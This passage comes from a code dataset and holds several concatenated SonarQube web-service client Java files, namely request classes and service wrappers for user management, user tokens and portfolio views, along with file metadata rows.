* @since 3.7
*/
@Generated("sonar-ws-generator")
public class CreateRequest {
private String email;
private String local;
private String login;
private String name;
private String password;
private List<String> scmAccount;
private List<String> scmAccounts;
/**
* Example value: "myname@email.com"
*/
public CreateRequest setEmail(String email) {
this.email = email;
return this;
}
public String getEmail() {
return email;
}
/**
* Possible values:
* <ul>
* <li>"true"</li>
* <li>"false"</li>
* <li>"yes"</li>
* <li>"no"</li>
* </ul>
*/
public CreateRequest setLocal(String local) {
this.local = local;
return this;
}
public String getLocal() {
return local;
}
/**
* This is a mandatory parameter.
* Example value: "myuser"
*/
public CreateRequest setLogin(String login) {
this.login = login;
return this;
}
public String getLogin() {
return login;
}
/**
* This is a mandatory parameter.
* Example value: "My Name"
*/
public CreateRequest setName(String name) {
this.name = name;
return this;
}
public String getName() {
return name;
}
/**
* Example value: "mypassword"
*/
public CreateRequest setPassword(String password) {
this.password = password;
return this;
}
public String getPassword() {
return password;
}
/**
* Example value: "scmAccount=firstValue&scmAccount=secondValue&scmAccount=thirdValue"
*/
public CreateRequest setScmAccount(List<String> scmAccount) {
this.scmAccount = scmAccount;
return this;
}
public List<String> getScmAccount() {
return scmAccount;
}
public List<String> getScmAccounts() {
return scmAccounts;
}
}
| 2,943 | 22.365079 | 159 | java |
sonarqube | sonarqube-master/sonar-ws/src/main/java/org/sonarqube/ws/client/users/DeactivateRequest.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package org.sonarqube.ws.client.users;
import javax.annotation.Generated;
/**
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/users/deactivate">Further information about this action online (including a response example)</a>
* @since 3.7
*/
@Generated("sonar-ws-generator")
public class DeactivateRequest {
private String login;
/**
* This is a mandatory parameter.
* Example value: "myuser"
*/
public DeactivateRequest setLogin(String login) {
this.login = login;
return this;
}
public String getLogin() {
return login;
}
}
| 1,489 | 30.041667 | 163 | java |
sonarqube | sonarqube-master/sonar-ws/src/main/java/org/sonarqube/ws/client/users/GroupsRequest.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package org.sonarqube.ws.client.users;
import javax.annotation.Generated;
/**
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/users/groups">Further information about this action online (including a response example)</a>
* @since 5.2
*/
@Generated("sonar-ws-generator")
public class GroupsRequest {
private String login;
private String p;
private String ps;
private String q;
private String selected;
/**
* This is a mandatory parameter.
* Example value: "admin"
*/
public GroupsRequest setLogin(String login) {
this.login = login;
return this;
}
public String getLogin() {
return login;
}
/**
* Example value: "42"
*/
public GroupsRequest setP(String p) {
this.p = p;
return this;
}
public String getP() {
return p;
}
/**
* Example value: "20"
*/
public GroupsRequest setPs(String ps) {
this.ps = ps;
return this;
}
public String getPs() {
return ps;
}
/**
* Example value: "users"
*/
public GroupsRequest setQ(String q) {
this.q = q;
return this;
}
public String getQ() {
return q;
}
/**
* Possible values:
* <ul>
* <li>"all"</li>
* <li>"deselected"</li>
* <li>"selected"</li>
* </ul>
*/
public GroupsRequest setSelected(String selected) {
this.selected = selected;
return this;
}
public String getSelected() {
return selected;
}
}
| 2,347 | 21.361905 | 159 | java |
sonarqube | sonarqube-master/sonar-ws/src/main/java/org/sonarqube/ws/client/users/SearchRequest.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package org.sonarqube.ws.client.users;
import javax.annotation.Generated;
/**
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/users/search">Further information about this action online (including a response example)</a>
* @since 3.6
*/
@Generated("sonar-ws-generator")
public class SearchRequest {
private String p;
private String ps;
private String q;
private Boolean deactivated;
/**
* Example value: "42"
*/
public SearchRequest setP(String p) {
this.p = p;
return this;
}
public String getP() {
return p;
}
/**
* Example value: "20"
*/
public SearchRequest setPs(String ps) {
this.ps = ps;
return this;
}
public String getPs() {
return ps;
}
/**
*/
public SearchRequest setQ(String q) {
this.q = q;
return this;
}
public String getQ() {
return q;
}
public Boolean getDeactivated() {
return deactivated;
}
public SearchRequest setDeactivated(Boolean deactivated) {
this.deactivated = deactivated;
return this;
}
}
| 1,964 | 22.963415 | 159 | java |
sonarqube | sonarqube-master/sonar-ws/src/main/java/org/sonarqube/ws/client/users/SetHomepageRequest.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package org.sonarqube.ws.client.users;
import javax.annotation.Generated;
/**
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/users/set_homepage">Further information about this action online (including a response example)</a>
* @since 7.0
*/
@Generated("sonar-ws-generator")
public class SetHomepageRequest {
private String parameter;
private String type;
/**
* Example value: "my_project"
*/
public SetHomepageRequest setParameter(String parameter) {
this.parameter = parameter;
return this;
}
public String getParameter() {
return parameter;
}
/**
* This is a mandatory parameter.
* Possible values:
* <ul>
* <li>"PROJECT"</li>
* <li>"MY_PROJECTS"</li>
* <li>"MY_ISSUES"</li>
* </ul>
*/
public SetHomepageRequest setType(String type) {
this.type = type;
return this;
}
public String getType() {
return type;
}
}
| 1,832 | 26.772727 | 165 | java |
sonarqube | sonarqube-master/sonar-ws/src/main/java/org/sonarqube/ws/client/users/UpdateIdentityProviderRequest.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package org.sonarqube.ws.client.users;
import javax.annotation.Generated;
/**
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/users/update_identity_provider">Further information about this action online (including a response example)</a>
* @since 8.7
*/
@Generated("sonar-ws-generator")
public class UpdateIdentityProviderRequest {
private String login;
private String newExternalIdentity;
private String newExternalProvider;
/**
* This is a mandatory parameter.
*/
public UpdateIdentityProviderRequest setLogin(String login) {
this.login = login;
return this;
}
public String getLogin() {
return login;
}
/**
*/
public UpdateIdentityProviderRequest setNewExternalIdentity(String newExternalIdentity) {
this.newExternalIdentity = newExternalIdentity;
return this;
}
public String getNewExternalIdentity() {
return newExternalIdentity;
}
/**
* This is a mandatory parameter.
*/
public UpdateIdentityProviderRequest setNewExternalProvider(String newExternalProvider) {
this.newExternalProvider = newExternalProvider;
return this;
}
public String getNewExternalProvider() {
return newExternalProvider;
}
}
| 2,126 | 28.541667 | 177 | java |
sonarqube | sonarqube-master/sonar-ws/src/main/java/org/sonarqube/ws/client/users/UpdateLoginRequest.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package org.sonarqube.ws.client.users;
import javax.annotation.Generated;
/**
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/users/update_login">Further information about this action online (including a response example)</a>
* @since 7.6
*/
@Generated("sonar-ws-generator")
public class UpdateLoginRequest {
private String login;
private String newLogin;
/**
* This is a mandatory parameter.
* Example value: "mylogin"
*/
public UpdateLoginRequest setLogin(String login) {
this.login = login;
return this;
}
public String getLogin() {
return login;
}
/**
* This is a mandatory parameter.
* Example value: "mynewlogin"
*/
public UpdateLoginRequest setNewLogin(String newLogin) {
this.newLogin = newLogin;
return this;
}
public String getNewLogin() {
return newLogin;
}
}
| 1,771 | 27.580645 | 165 | java |
sonarqube | sonarqube-master/sonar-ws/src/main/java/org/sonarqube/ws/client/users/UpdateRequest.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package org.sonarqube.ws.client.users;
import javax.annotation.Generated;
/**
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/users/update">Further information about this action online (including a response example)</a>
* @since 3.7
*/
@Generated("sonar-ws-generator")
public class UpdateRequest {
private String email;
private String login;
private String name;
private String scmAccount;
private String scmAccounts;
/**
* Example value: "myname@email.com"
*/
public UpdateRequest setEmail(String email) {
this.email = email;
return this;
}
public String getEmail() {
return email;
}
/**
* This is a mandatory parameter.
* Example value: "myuser"
*/
public UpdateRequest setLogin(String login) {
this.login = login;
return this;
}
public String getLogin() {
return login;
}
/**
* Example value: "My Name"
*/
public UpdateRequest setName(String name) {
this.name = name;
return this;
}
public String getName() {
return name;
}
/**
* Example value: "scmAccount=firstValue&scmAccount=secondValue&scmAccount=thirdValue"
*/
public UpdateRequest setScmAccount(String scmAccount) {
this.scmAccount = scmAccount;
return this;
}
public String getScmAccount() {
return scmAccount;
}
public String getScmAccounts() {
return scmAccounts;
}
}
| 2,303 | 24.043478 | 159 | java |
sonarqube | sonarqube-master/sonar-ws/src/main/java/org/sonarqube/ws/client/users/UsersService.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package org.sonarqube.ws.client.users;
import java.util.stream.Collectors;
import javax.annotation.Generated;
import org.sonarqube.ws.MediaTypes;
import org.sonarqube.ws.Users.CreateWsResponse;
import org.sonarqube.ws.Users.CurrentWsResponse;
import org.sonarqube.ws.Users.GroupsWsResponse;
import org.sonarqube.ws.Users.IdentityProvidersWsResponse;
import org.sonarqube.ws.Users.SearchWsResponse;
import org.sonarqube.ws.client.BaseService;
import org.sonarqube.ws.client.GetRequest;
import org.sonarqube.ws.client.PostRequest;
import org.sonarqube.ws.client.WsConnector;
/**
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/users">Further information about this web service online</a>
*/
@Generated("sonar-ws-generator")
public class UsersService extends BaseService {
public UsersService(WsConnector wsConnector) {
super(wsConnector, "api/users");
}
/**
*
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/users/change_password">Further information about this action online (including a response example)</a>
* @since 5.2
*/
public void changePassword(ChangePasswordRequest request) {
call(
new PostRequest(path("change_password"))
.setParam("login", request.getLogin())
.setParam("password", request.getPassword())
.setParam("previousPassword", request.getPreviousPassword())
.setMediaType(MediaTypes.JSON)).content();
}
/**
*
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/users/create">Further information about this action online (including a response example)</a>
* @since 3.7
*/
public CreateWsResponse create(CreateRequest request) {
return call(
new PostRequest(path("create"))
.setParam("email", request.getEmail())
.setParam("local", request.getLocal())
.setParam("login", request.getLogin())
.setParam("name", request.getName())
.setParam("password", request.getPassword())
.setParam("scmAccount", request.getScmAccount())
.setParam("scmAccounts", request.getScmAccounts() == null ? null : request.getScmAccounts().stream().collect(Collectors.joining(","))),
CreateWsResponse.parser());
}
/**
*
* This is part of the internal API.
* This is a GET request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/users/current">Further information about this action online (including a response example)</a>
* @since 5.2
*/
public CurrentWsResponse current() {
return call(
new GetRequest(path("current")),
CurrentWsResponse.parser());
}
/**
*
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/users/deactivate">Further information about this action online (including a response example)</a>
* @since 3.7
*/
public String deactivate(DeactivateRequest request) {
return call(
new PostRequest(path("deactivate"))
.setParam("login", request.getLogin())
.setMediaType(MediaTypes.JSON)).content();
}
/**
*
* This is part of the internal API.
* This is a GET request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/users/groups">Further information about this action online (including a response example)</a>
* @since 5.2
*/
public GroupsWsResponse groups(GroupsRequest request) {
return call(
new GetRequest(path("groups"))
.setParam("login", request.getLogin())
.setParam("p", request.getP())
.setParam("ps", request.getPs())
.setParam("q", request.getQ())
.setParam("selected", request.getSelected()),
GroupsWsResponse.parser());
}
/**
*
* This is part of the internal API.
* This is a GET request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/users/identity_providers">Further information about this action online (including a response example)</a>
* @since 5.5
*/
public IdentityProvidersWsResponse identityProviders() {
return call(
new GetRequest(path("identity_providers")),
IdentityProvidersWsResponse.parser());
}
/**
*
* This is part of the internal API.
* This is a GET request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/users/search">Further information about this action online (including a response example)</a>
* @since 3.6
*/
public SearchWsResponse search(SearchRequest request) {
return call(
new GetRequest(path("search"))
.setParam("p", request.getP())
.setParam("ps", request.getPs())
.setParam("q", request.getQ())
.setParam("deactivated", request.getDeactivated()),
SearchWsResponse.parser());
}
/**
*
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/users/set_homepage">Further information about this action online (including a response example)</a>
* @since 7.0
*/
public void setHomepage(SetHomepageRequest request) {
call(
new PostRequest(path("set_homepage"))
.setParam("parameter", request.getParameter())
.setParam("type", request.getType())
.setMediaType(MediaTypes.JSON)).content();
}
/**
*
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/users/update">Further information about this action online (including a response example)</a>
* @since 3.7
*/
public String update(UpdateRequest request) {
return call(
new PostRequest(path("update"))
.setParam("email", request.getEmail())
.setParam("login", request.getLogin())
.setParam("name", request.getName())
.setParam("scmAccount", request.getScmAccount())
.setParam("scmAccounts", request.getScmAccounts())
.setMediaType(MediaTypes.JSON)).content();
}
/**
*
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/users/update_login">Further information about this action online (including a response example)</a>
* @since 7.6
*/
public void updateLogin(UpdateLoginRequest request) {
call(
new PostRequest(path("update_login"))
.setParam("login", request.getLogin())
.setParam("newLogin", request.getNewLogin())
.setMediaType(MediaTypes.JSON)).content();
}
/**
*
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/users/update_identity_provider">Further information about this action online (including a response example)</a>
* @since 8.7
*/
public void updateIdentityProvider(UpdateIdentityProviderRequest request) {
call(
new PostRequest(path("update_identity_provider"))
.setParam("login", request.getLogin())
.setParam("newExternalIdentity", request.getNewExternalIdentity())
.setParam("newExternalProvider", request.getNewExternalProvider())
.setMediaType(MediaTypes.JSON)
).content();
}
/**
*
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/users/dismiss_notice">Further information about this action online (including a response example)</a>
* @since 9.6
*/
public void dismissNotice(String notice) {
call(
new PostRequest(path("dismiss_notice"))
.setParam("notice", notice)
).content();
}
}
| 8,635 | 35.59322 | 179 | java |
sonarqube | sonarqube-master/sonar-ws/src/main/java/org/sonarqube/ws/client/users/package-info.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
@ParametersAreNonnullByDefault
@Generated("sonar-ws-generator")
package org.sonarqube.ws.client.users;
import javax.annotation.ParametersAreNonnullByDefault;
import javax.annotation.Generated;
| 1,038 | 37.481481 | 75 | java |
sonarqube | sonarqube-master/sonar-ws/src/main/java/org/sonarqube/ws/client/usertokens/GenerateRequest.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package org.sonarqube.ws.client.usertokens;
import javax.annotation.Generated;
import javax.annotation.Nullable;
/**
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/user_tokens/generate">Further information about this action online (including a response example)</a>
* @since 5.3
*/
@Generated("sonar-ws-generator")
public class GenerateRequest {
private String login;
private String name;
private String type;
private String projectKey;
private String expirationDate;
/**
* Example value: "g.hopper"
*/
public GenerateRequest setLogin(String login) {
this.login = login;
return this;
}
public String getLogin() {
return login;
}
/**
* This is a mandatory parameter.
* Example value: "Project scan on Travis"
*/
public GenerateRequest setName(String name) {
this.name = name;
return this;
}
public String getName() {
return name;
}
public String getType() {
return type;
}
public GenerateRequest setType(String type) {
this.type = type;
return this;
}
public String getProjectKey() {
return projectKey;
}
public GenerateRequest setProjectKey(@Nullable String projectKey) {
this.projectKey = projectKey;
return this;
}
public String getExpirationDate() {
return expirationDate;
}
public GenerateRequest setExpirationDate(String expirationDate) {
this.expirationDate = expirationDate;
return this;
}
}
| 2,369 | 24.76087 | 167 | java |
sonarqube | sonarqube-master/sonar-ws/src/main/java/org/sonarqube/ws/client/usertokens/RevokeRequest.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package org.sonarqube.ws.client.usertokens;
import javax.annotation.Generated;
/**
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/user_tokens/revoke">Further information about this action online (including a response example)</a>
* @since 5.3
*/
@Generated("sonar-ws-generator")
public class RevokeRequest {
private String login;
private String name;
/**
* Example value: "g.hopper"
*/
public RevokeRequest setLogin(String login) {
this.login = login;
return this;
}
public String getLogin() {
return login;
}
/**
* This is a mandatory parameter.
* Example value: "Project scan on Travis"
*/
public RevokeRequest setName(String name) {
this.name = name;
return this;
}
public String getName() {
return name;
}
}
| 1,710 | 27.04918 | 165 | java |
sonarqube | sonarqube-master/sonar-ws/src/main/java/org/sonarqube/ws/client/usertokens/SearchRequest.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package org.sonarqube.ws.client.usertokens;
import javax.annotation.Generated;
/**
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/user_tokens/search">Further information about this action online (including a response example)</a>
* @since 5.3
*/
@Generated("sonar-ws-generator")
public class SearchRequest {
private String login;
/**
* Example value: "g.hopper"
*/
public SearchRequest setLogin(String login) {
this.login = login;
return this;
}
public String getLogin() {
return login;
}
}
| 1,454 | 29.957447 | 165 | java |
sonarqube | sonarqube-master/sonar-ws/src/main/java/org/sonarqube/ws/client/usertokens/UserTokensService.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package org.sonarqube.ws.client.usertokens;
import javax.annotation.Generated;
import org.sonarqube.ws.MediaTypes;
import org.sonarqube.ws.client.BaseService;
import org.sonarqube.ws.client.GetRequest;
import org.sonarqube.ws.client.PostRequest;
import org.sonarqube.ws.client.WsConnector;
import org.sonarqube.ws.UserTokens.GenerateWsResponse;
import org.sonarqube.ws.UserTokens.SearchWsResponse;
/**
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/user_tokens">Further information about this web service online</a>
*/
@Generated("sonar-ws-generator")
public class UserTokensService extends BaseService {
public UserTokensService(WsConnector wsConnector) {
super(wsConnector, "api/user_tokens");
}
/**
*
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/user_tokens/generate">Further information about this action online (including a response example)</a>
* @since 5.3
*/
public GenerateWsResponse generate(GenerateRequest request) {
return call(
new PostRequest(path("generate"))
.setParam("login", request.getLogin())
.setParam("name", request.getName())
.setParam("type", request.getType())
.setParam("projectKey", request.getProjectKey())
.setParam("expirationDate", request.getExpirationDate()),
GenerateWsResponse.parser());
}
/**
*
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/user_tokens/revoke">Further information about this action online (including a response example)</a>
* @since 5.3
*/
public void revoke(RevokeRequest request) {
call(
new PostRequest(path("revoke"))
.setParam("login", request.getLogin())
.setParam("name", request.getName())
.setMediaType(MediaTypes.JSON)
).content();
}
/**
*
* This is part of the internal API.
* This is a GET request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/user_tokens/search">Further information about this action online (including a response example)</a>
* @since 5.3
*/
public SearchWsResponse search(SearchRequest request) {
return call(
new GetRequest(path("search"))
.setParam("login", request.getLogin()),
SearchWsResponse.parser());
}
}
| 3,252 | 35.550562 | 169 | java |
sonarqube | sonarqube-master/sonar-ws/src/main/java/org/sonarqube/ws/client/usertokens/package-info.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
@ParametersAreNonnullByDefault
@Generated("sonar-ws-generator")
package org.sonarqube.ws.client.usertokens;
import javax.annotation.ParametersAreNonnullByDefault;
import javax.annotation.Generated;
| 1,043 | 37.666667 | 75 | java |
sonarqube | sonarqube-master/sonar-ws/src/main/java/org/sonarqube/ws/client/views/AddApplicationRequest.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package org.sonarqube.ws.client.views;
import javax.annotation.Generated;
/**
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/views/add_application">Further information about this action online (including a response example)</a>
* @since 9.3
*/
@Generated("sonar-ws-generator")
public class AddApplicationRequest {
private String application;
private String portfolio;
/**
* This is a mandatory parameter.
*/
public AddApplicationRequest setApplication(String application) {
this.application = application;
return this;
}
public String getApplication() {
return application;
}
/**
* This is a mandatory parameter.
*/
public AddApplicationRequest setPortfolio(String portfolio) {
this.portfolio = portfolio;
return this;
}
public String getPortfolio() {
return portfolio;
}
}
| 1,769 | 28.5 | 168 | java |
sonarqube | sonarqube-master/sonar-ws/src/main/java/org/sonarqube/ws/client/views/AddPortfolioRequest.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
